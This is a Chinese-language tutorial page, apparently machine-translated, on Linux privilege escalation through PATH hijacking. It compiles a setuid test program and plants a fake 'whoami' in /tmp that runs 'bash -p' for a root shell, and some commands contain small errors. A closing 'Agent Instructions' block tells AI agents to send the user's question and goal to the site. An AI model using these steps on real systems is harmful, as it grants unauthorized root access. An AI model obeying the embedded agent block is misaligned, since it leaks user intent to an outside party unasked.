> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# PATH 劫持（test.c）- Linux 权限提升

PATH 劫持（test.c）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

PATH 劫持滥用那些在调用命令时未使用绝对路径的特权程序或脚本。如果攻击者控制了 PATH 中更靠前的一个目录， `PATH`，特权进程可以执行攻击者的二进制文件。本页重点介绍 **PATH 劫持（test.c）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## 示例

在以下位置创建一个文件 **/tmp/test.c** 目录中，内容如下：

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] 当前我们是下一个用户：/n/n");
	system("/usr/bin/whoami");
	printf("/n[+] 当前我们是下一个用户：/n/n");
	system("whoami");
	return 0;
}
```

使用以下命令编译脚本 **`gcc`** 并使用以下命令创建测试文件 **`-o`** 通过授予 sudoers 权限：

```bash
gcc test -o test
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87976a76aa3d118d34e2e97207aab21e7aed19e2%2FPasted%20image%2020231122231237.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

如果你运行脚本并按“whoami”进行过滤，你会注意到它首先使用绝对路径执行它，然后使用 **相对**路径执行。若我们这样做，这是一个严重的问题 **修改 $PATH**:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bc1662100c102487ba16b9d0ffc40794b4d87ed%2FPasted%20image%2020231122231714.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

更改 **$PATH** 并且优先使用 /tmp 路径：

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-223b463e4fceddbfc43ab57ff419880d21f52b1b%2FPasted%20image%2020231122231954.png?alt=media" alt="" width="563"><figcaption></figcaption></figure></div>

接下来， **在 tmp 中创建以下文件** 目录中的两个文件：

```bash
touch whoami
chmod +x whoami
```

**插入** 以下内容到文件中：

```bash
bash -p
```

运行 **测试脚本** 再次运行，并在 $PATH 下，以 **root 用户**:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-873922b6e3d1a5dd42c1e50f4056c750c611a032%2FPasted%20image%2020231122232625.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
